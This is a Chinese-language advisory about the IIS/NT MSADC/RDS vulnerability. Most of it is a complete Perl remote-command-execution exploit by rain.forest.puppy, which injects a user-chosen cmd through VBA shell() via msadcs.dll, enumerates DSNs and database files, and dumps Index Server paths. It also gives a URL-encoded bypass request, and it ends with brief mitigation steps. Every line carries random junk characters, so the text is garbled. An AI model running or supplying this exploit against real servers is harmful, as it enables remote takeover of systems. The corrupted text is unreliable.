IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K7
e~ %mY ex3 Qbr 涉及程序：
']_2@<XW) Microsoft NT server
rQ;w{8J\t 5/meH[R\M 描述：
HA6tGZP*L 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
i "8mrW b L P<A q 详细：
_plK(g-1J% 如果你没有时间读详细内容的话，就删除:
zLI0RI.Pe c:\Program Files\Common Files\System\Msadc\msadcs.dll
}z3 j7I 有关的安全问题就没有了。
e#"h@kZP +#O+%! 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
>Vuvbo V Yv fx 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
K_7pr~D]@r 关于利用ODBC远程漏洞的描述，请参看:
%y1!'R:ZW jc^QWK*q http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L b*KEF% s +H)'(< 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Q8p6n http://www.microsoft.com/security/bulletins/MS99-025faq.asp .Y)[c. ,j !Ok(mgV$/ 这里不再论述。
j8Z, :op U1RU2M]v 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
91- bz^=xO Up9{aX /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Bo 3 5L:r| 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
L@ }PW)# 7)66e v^|U? #将下面这段保存为txt文件，然后: "perl -x 文件名"
U|^xr~q!f- $=aO*i #!perl
g =*jK SZ #
5&]5*;Bv J # MSADC/RDS 'usage' (aka exploit) script
3h:j .8Z #
=ily=j"hK # by rain.forest.puppy
.3!Wr*o #
IqOg{#sm # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]WT@&F # beta test and find errors!
u9lZHh#V- la!]Y-s)'4 use Socket; use Getopt::Std;
8@3K, [Mo getopts("e:vd:h:XR", \%args);
SZyk G[ iD^,O)b print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
IwYeKN6s rK3kg2H if (!defined $args{h} && !defined $args{R}) {
}^"6 :;, print qq~
.;#T<S " Usage: msadc.pl -h <host> { -d <delay> -X -v }
M` MxdwR -h <host> = host you want to scan (ip or domain)
c-Lz luWi -d <seconds> = delay between calls, default 1 second
d2\ !tJm -X = dump Index Server path table, if available
Ni$'#
W?t -v = verbose
Epzg|L1) -e = external dictionary file for step 5
fF Q|dE;cF TlG>)Z@/ Or a -R will resume a command session
b#j:)PA0C 2HbnE& ~; exit;}
53 Adic o)`PS w= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}
ueFy<F if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
c`6c)11K if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%X}ZX|{ O if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
?h<4trYcv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
H]TdW;ZbZ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/l$x} Na\ZV|;*tu if (!defined $args{R}){ $ret = &has_msadc;
j3-YZKpg die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[4)Oi-_Y> b3(* /KgK print "Please type the NT commandline you want to run (cmd /c assumed):\n"
9A .RD`fg . "cmd /c ";
P_bB{~$ 4 $in=<STDIN>; chomp $in;
z8kO)' $command="cmd /c " . $in ;
3%WB?k c Gnc `CyN:H if (defined $args{R}) {&load; exit;}
Q|y }mC/ ~!S3J2kG{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)^(*B6;z5 &try_btcustmr;
Zxk~X}K\P iL/c^(1 print "\nStep 2: Trying to make our own DSN...";
UG| /Px ] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
s t'T._ U(&c@u% print "\nStep 3: Trying known DSNs...";
05UN
<l] &known_dsn;
F^!D[:;jK TnW`#.f print "\nStep 4: Trying known .mdbs...";
G gO5=| &known_mdb;
6BE,L ep>!jMhJa if (defined $args{e}){
kpOdyn( print "\nStep 5: Trying dictionary of DSN names...";
5LeZ ?'"c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*k?:k78L
01kRe print "Sorry Charley...maybe next time?\n";
rPxRGoR exit;
'' 17(% woI5a ee| ##############################################################################
Ee>VA_ss dQ:,pe7A sub sendraw { # ripped and modded from whisker
A( Ct^/x- sleep($delay); # it's a DoS on the server! At least on mine...
b?wrOS my ($pstr)=@_;
Dy08.Sss socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1"
'3/MFQ8 die("Socket problems\n");
Ple.fKu if(connect(S,pack "SnA4x8",2,80,$target)){
kk4 |4 select(S); $|=1;
!$I~3_c print $pstr; my @in=<S>;
5 ep I'D select(STDOUT); close(S);
kc'$4 J4Tw return @in;
%VHy?!/ } else { die("Can't connect...\n"); }}
(leX` SN0u Iix,}kzss ##############################################################################
r&=ulg Bfb~<rs[ sub make_header { # make the HTTP request
ct+F\:e my $msadc=<<EOT
$QbJT`,mr POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
q~{)
{t; User-Agent: ACTIVEDATA
c
r=Q39{ Host: $ip
*)^6'4= Content-Length: $clen
manw;`Q Connection: Keep-Alive
4P{|H c~|(j \FI ADCClientVersion:01.06
!Vpi1N\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)k<cd. MX U32$ 9" --!ADM!ROX!YOUR!WORLD!
7H
H Content-Type: application/x-varg
~E}kwF Content-Length: $reqlen
H4M=&"ll} V 6} 5^W EOT
4KPn V+h"b ; $msadc=~s/\n/\r\n/g;
O>`k@X@9/ return $msadc;}
(3e.q'
4:MvC^X~z ##############################################################################
Jb ,54uN dJuy Jl$* sub make_req { # make the RDS request
*tjaac;z<J my ($switch, $p1, $p2)=@_;
@ f[- my $req=""; my $t1, $t2, $query, $dsn;
'1u?-2 i?L=8+ 9f if ($switch==1){ # this is the btcustmr.mdb query
,%!m%+K9a $query="Select * from Customers where City=" . make_shell();
VH7t^ fb $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UiU/p $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
XJul~"
T!/ o^0w elsif ($switch==2){ # this is general make table query
xd?=#d $query="create table AZZ (B int, C varchar(10))";
NKY|Z\ $dsn="$p1";}
n6O z[7M B >{%$@4 elsif ($switch==3){ # this is general exploit table query
n%Oi~7> $query="select * from AZZ where C=" . make_shell();
^^ q&VL $dsn="$p1";}
%:26v d+n2
c`i elsif ($switch==4){ # attempt to hork file info from index server
#p+iwW- $query="select path from scope()";
N:G]wsh $dsn="Provider=MSIDXS;";}
082}=Tsx Xj, % t} elsif ($switch==5){ # bad query
nD i^s{ $query="select";
[^!SkQ $dsn="$p1";}
:.PA(97x b `IN!#b+Eo $t1= make_unicode($query);
?K$&|w%{3 $t2= make_unicode($dsn);
k?=1q[RQH $req = "\x02\x00\x03\x00";
bH+NRNI] $req.= "\x08\x00" . pack ("S1", length($t1));
. 0dGS $req.= "\x00\x00" . $t1 ;
AA\)BN M $req.= "\x08\x00" . pack ("S1", length($t2));
<B @NSj $req.= "\x00\x00" . $t2 ;
lxd{T3L U $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
m .++nF return $req;}
iEn:Hh) 1dvP2E ##############################################################################
` wa;@p+j8 Ry95a%&/s sub make_shell { # this makes the shell() statement
NuOA'e+i return "'|shell(\"$command\")|'";}
3a:Hx|
Yg _ 2KIe(,; ##############################################################################
'Agw~
&$ E PE_2a} sub make_unicode { # quick little function to convert to unicode
NQD5=/o my ($in)=@_; my $out;
H&-3`< for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
eA N{BPN [ return $out;}
d==0 @` !'_7MM ##############################################################################
!B`z|# H*] Vs=1 sub rdo_success { # checks for RDO return success (this is kludge)
5V 2ZAYV my (@in) = @_; my $base=content_start(@in);
T]wC?gQG if($in[$base]=~/multipart\/mixed/){
l/k-` LeW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
)q x;/=D return 0;}
Tm^kZuT{ ~q`f@I ##############################################################################
;*?>w|t }w aOvqk ^ sub make_dsn { # this makes a DSN for us
cfmLErkp my @drives=("c","d","e","f");
,h=a+ja8 print "\nMaking DSN: ";
aiPm.h> foreach $drive (@drives) {
B}[CU='P* print "$drive: ";
y`9#zYgqA my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zS:2?VXxq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$WIE`P% . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]9_gbQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
eipg ,EI return 0 if $2 eq "404"; # not found/doesn't exist
+-tFg XG if($2 eq "200") {
+c fcr* foreach $line (@results) {
]QlW{J return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*I :c@iCNJ } return 0;}
7 V %P G:*vV#K ##############################################################################
OROvy $e1.y b% sub verify_exists {
!4A j#`) my ($page)=@_;
7R:j^"I @ my @results=sendraw("GET $page HTTP/1.0\n\n");
ezw*Lo! return $results[0];}
"R5G^-<h p YM`T"`f ##############################################################################
S ,F[74K ?OW!D? sub try_btcustmr {
g} !{_z my @drives=("c","d","e","f");
\me5" ZU my @dirs=("winnt","winnt35","winnt351","win","windows");
+TbAtkEF* )l9KDObis foreach $dir (@dirs) {
U4 *u|A print "$dir -> "; # fun status so you can see progress
YE@yts foreach $drive (@drives) {
e-*@R#x8+ print "$drive: "; # ditto
jyD~ER}J $reqlen=length( make_req(1,$drive,$dir) ) - 28;
CHTK.%AQH! $reqlenlen=length( "$reqlen" );
n*"r!&Dg $clen= 206 + $reqlenlen + $reqlen;
.@): Uh J4ZH E\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
6 ):1U if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
N!ihj:, else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
LEM%B??&5z ?98!2:'{9 ##############################################################################
2d*bF . g8cBb5(L sub odbc_error {
oeg
Bk my (@in)=@_; my $base;
dnomnY(*< my $base = content_start(@in);
`U|7sLR if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Xfg3q.q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cFc(HADM`r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(rF iHv5 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6 D
Xja_lp return $in[$base+4].$in[$base+5].$in[$base+6];}
S'5 )K print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
6=n|Ha print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0 g30nr) $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
f I=G>[ s! 2[zJ19p ##############################################################################
hZ fj$|< ]y.V#,6e sub verbose {
( o*YGYC my ($in)=@_;
\dCGu~bT return if !$verbose;
#f"eZAQ { print STDOUT "\n$in\n";}
z'l
H L ~;9n6U ##############################################################################
{@ CQ
( <y8oYe_! sub save {
+ YZo-tE my ($p1, $p2, $p3, $p4)=@_;
$F^VtCx2& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
.;g kV-] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
s .p>
?U close OUT;}
$ (;:4 RWv4/=}(G ##############################################################################
cW>=/ 6YU,> KP sub load {
8Azh&c my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,r*Kxy open(IN,"<rds.save") || die("Couldn't open rds.save\n");
zc8^#D2y& @p=<IN>; close(IN);
FB wG3x $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~qQZh u" $target= inet_aton($ip) || die("inet_aton problems");
Ea
S[W?u} print "Resuming to $ip ...";
(1|wM+)" $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8!|vp7/ if($p[1]==1) {
\}4Y]xjV2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
61Cc? a*_ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
mDz44XO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b 9r QQS if (rdo_success(@results)){print "Success!\n";}
"LlQl3"= else { print "failed\n"; verbose(odbc_error(@results));}}
C*ep8{B elsif ($p[1]==3){
ewd
eC if(run_query("$p[3]")){
i=\)[;U print "Success!\n";} else { print "failed\n"; }}
7zCJ3p elsif ($p[1]==4){
2`* w* if(run_query($drvst . "$p[3]")){
iO ? AY print "Success!\n"; } else { print "failed\n"; }}
ic`BDkNO exit;}
)M dddz 4 #1 U> ##############################################################################
3v \P6 M>Q Z N sub create_table {
6&0 @k^7~ my ($in)=@_;
5@+?{Cl $reqlen=length( make_req(2,$in,"") ) - 28;
<[\I`kzq $reqlenlen=length( "$reqlen" );
8<"g&+T $clen= 206 + $reqlenlen + $reqlen;
ZeuL*c \ my @results=sendraw(make_header() . make_req(2,$in,""));
joskKik^ return 1 if rdo_success(@results);
MoN0w.V my $temp= odbc_error(@results); verbose($temp);
lGr =I-= return 1 if $temp=~/Table 'AZZ' already exists/;
@Pk<3.S0 return 0;}
C<C$df
{,JO}Dmu5 ##############################################################################
U2m# BMV ,V,mz?d ^9 sub known_dsn {
ya1
aWs~ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*V hEl7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
OY}FtG y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
C0[U}Y/r2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
<4.Exha;= ! DOyOTR&3 foreach $dSn (@dsns) {
IrQ.[?C print ".";
4
9N. P;b next if (!is_access("DSN=$dSn"));
nrMW5>&-` if(create_table("DSN=$dSn")){
Oe1WnS 7(] print "$dSn successful\n";
z(A[xN@/W< if(run_query("DSN=$dSn")){
N<i5X.X print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
oaqH@` print "Something's borked. Use verbose next time\n";}}} print "\n";}
@U8u6JNK' :.Z WYze ##############################################################################
h"+7c c@ iG SJ\ sub is_access {
V5(_7b#z`` my ($in)=@_;
FA*$ dwp $reqlen=length( make_req(5,$in,"") ) - 28;
rs?Dn6:;B $reqlenlen=length( "$reqlen" );
JrOx nxd^ $clen= 206 + $reqlenlen + $reqlen;
"6\ 5eFN; my @results=sendraw(make_header() . make_req(5,$in,""));
z.8 nYL5^} my $temp= odbc_error(@results);
=_#b
.8K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
s R1_L/ . return 0;}
g8uqW1E ^ dvjj"F'Bf ##############################################################################
UgAp9$=z '27$x&6>S sub run_query {
5h/,*p6Nje my ($in)=@_;
Op-z"inw $reqlen=length( make_req(3,$in,"") ) - 28;
(*$ F7oO< $reqlenlen=length( "$reqlen" );
PolJo?HZ $clen= 206 + $reqlenlen + $reqlen;
{EvT7W my @results=sendraw(make_header() . make_req(3,$in,""));
}qM^J;u y return 1 if rdo_success(@results);
53{\H&q my $temp= odbc_error(@results); verbose($temp);
g6%]uCFB return 0;}
4+q,[m-$( iY/2 `R ##############################################################################
w{aGH/LN %CHw+wT& sub known_mdb {
+]cf/_8+s my @drives=("c","d","e","f","g");
}
doAeTZ my @dirs=("winnt","winnt35","winnt351","win","windows");
0\XWdTj{ my $dir, $drive, $mdb;
xg/( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
uQvTir*e .4\I?
# this is sparse, because I don't know of many
I}bu my @sysmdbs=( "\\catroot\\icatalog.mdb",
f;^ +q-Q "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_ +DL "\\system32\\certmdb.mdb",
r%f Q$q> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
zA9q`ePS : |s;2Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
w\G J,e "\\cfusion\\cfapps\\forums\\forums_.mdb",
# &.syD# "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/al56n "\\cfusion\\cfapps\\security\\realm_.mdb",
]]K?Q
)9x "\\cfusion\\cfapps\\security\\data\\realm.mdb",
x9>$ 197 "\\cfusion\\database\\cfexamples.mdb",
|K1S(m<F "\\cfusion\\database\\cfsnippets.mdb",
B za<.E= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$B-/>Rz "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%TQ4 ZFD3 "\\cfusion\\brighttiger\\database\\cleam.mdb",
B{&W|z{$ "\\cfusion\\database\\smpolicy.mdb",
`[5xncZ- "\\cfusion\\database\cypress.mdb",
{ .$7g8 ]I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
tV(iC~/ "\\website\\cgi-win\\dbsample.mdb",
,5 ka{Q`K "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
((A@VcX "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
g ZtQtFi ); #these are just
Ob]\t/:%P foreach $drive (@drives) {
'Hx #DhiFz foreach $dir (@dirs){
Q,5PscE6&k foreach $mdb (@sysmdbs) {
P}8hK print ".";
% >Gb]dv? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
yZ6WbI 8n print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
n{!{,s if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
39 }e
}W" print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
,;}
} else { print "Something's borked. Use verbose next time\n"; }}}}}
Pg T3E +pqbl*W;1 foreach $drive (@drives) {
u SR%6=$ foreach $mdb (@mdbs) {
bs|gQZG print ".";
E h8GqFEM if(create_table($drv . $drive . $dir . $mdb)){
K>+ v" x print "\n" . $drive . $dir . $mdb . " successful\n";
uuEvH<1 if(run_query($drv . $drive . $dir . $mdb)){
+:@^nPfHy print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
P?V+<c{ } else { print "Something's borked. Use verbose next time\n"; }}}}
=F_ uK7W }
@`KbzN_h/ S|tA%2z ##############################################################################
k*;U ?C! 2x<BU 3 sub hork_idx {
)8oy o~4? print "\nAttempting to dump Index Server tables...\n";
.t\J @?Z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
L;opQ~g $reqlen=length( make_req(4,"","") ) - 28;
ra*|HcLD $reqlenlen=length( "$reqlen" );
)q_,V" $clen= 206 + $reqlenlen + $reqlen;
dY}5Kmt my @results=sendraw2(make_header() . make_req(4,"",""));
HE+' fQ!R if (rdo_success(@results)){
MXaik+2 my $max=@results; my $c; my %d;
>bV3~m$a+ for($c=19; $c<$max; $c++){
|.Vgk8oTl $results[$c]=~s/\x00//g;
v];YC6shx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[!%5( Ro_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
t` Bk2Cc)+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}Q: CZ $d{"$1$2"}="";}
Zuzwc [Z1 foreach $c (keys %d){ print "$c\n"; }
xBxiBhqzF } else {print "Index server doesn't seem to be installed.\n"; }}
(nLzWvN m#BXxS#B<_ ##############################################################################
c\ZI
5&4jT X[?f U& sub dsn_dict {
1sg:8AA open(IN, "<$args{e}") || die("Can't open external dictionary\n");
cZN<}n+q while(<IN>){
ys[xR=nbD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
]mtiIu [ next if (!is_access("DSN=$dSn"));
QaO9-:]eN if(create_table("DSN=$dSn")){
t+A*Ws*o print "$dSn successful\n";
u|wl;+. if(run_query("DSN=$dSn")){
$Mg O)bH print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h$`m0-' print "Something's borked. Use verbose next time\n";}}}
I@m (} print "\n"; close(IN);}
G_=i#Tu [ AAfU]4u0S ##############################################################################
|e#W ;q$v %G(VYCeK sub sendraw2 { # ripped and modded from whisker
:7X4VHw/ sleep($delay); # it's a DoS on the server! At least on mine...
RDSC @3% my ($pstr)=@_;
l7T?Yx j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
SVVE b6 & die("Socket problems\n");
?wkT=mv if(connect(S,pack "SnA4x8",2,80,$target)){
G!VEV3zT print "Connected. Getting data";
&V
axv$v} open(OUT,">raw.out"); my @in;
!j7mY9x+ select(S); $|=1; print $pstr;
AB%i| t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"
l|`LjP5M close(OUT); select(STDOUT); close(S); return @in;
O\Y*s } else { die("Can't connect...\n"); }}
)kjQ W&)g bJPKe]spJ= ##############################################################################
r Yt|[Pk kO`!!M[Oo sub content_start { # this will take in the server headers
x_O:IK.> my (@in)=@_; my $c;
92Gfxld\ for ($c=1;$c<500;$c++) {
On
O_7'4 t if($in[$c] =~/^\x0d\x0a/){
>.UEs 8QV if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
DW,ERQ^ else { return $c+1; }}}
L %ac sb} return -1;} # it should never get here actually
XP rnQJ nnhI]#,a{ ##############################################################################
Y*9vR~#H S@pdCH, n sub funky {
rh Oxy Y0 my (@in)=@_; my $error=odbc_error(@in);
U= GJuixy if($error=~/ADO could not find the specified provider/){
yD \Kn{ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&^&0,g?To exit;}
p&\QkI= if($error=~/A Handler is required/){
l@w\
Vxr print "\nServer has custom handler filters (they most likely are patched)\n";
OD[=fR|cp exit;}
U&(gNuR>J if($error=~/specified Handler has denied Access/){
:s+?"'DP print "\nServer has custom handler filters (they most likely are patched)\n";
p5rq>&" exit;}}
93Gj#Mk ? .B t. ##############################################################################
T*B`8P z+oy#p6+F. sub has_msadc {
7~"eT9W V my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
*lZ V3F my $base=content_start(@results);
rgXX,+cO return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
aW_Y return 0;}
V&j]*) zE8_3UC ########################
3s]o~I 2x tol-PJS} q@S \R
7R 解决方案：
^3vI
NF 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
,e 7
~G 2、移除web 目录: /msadc
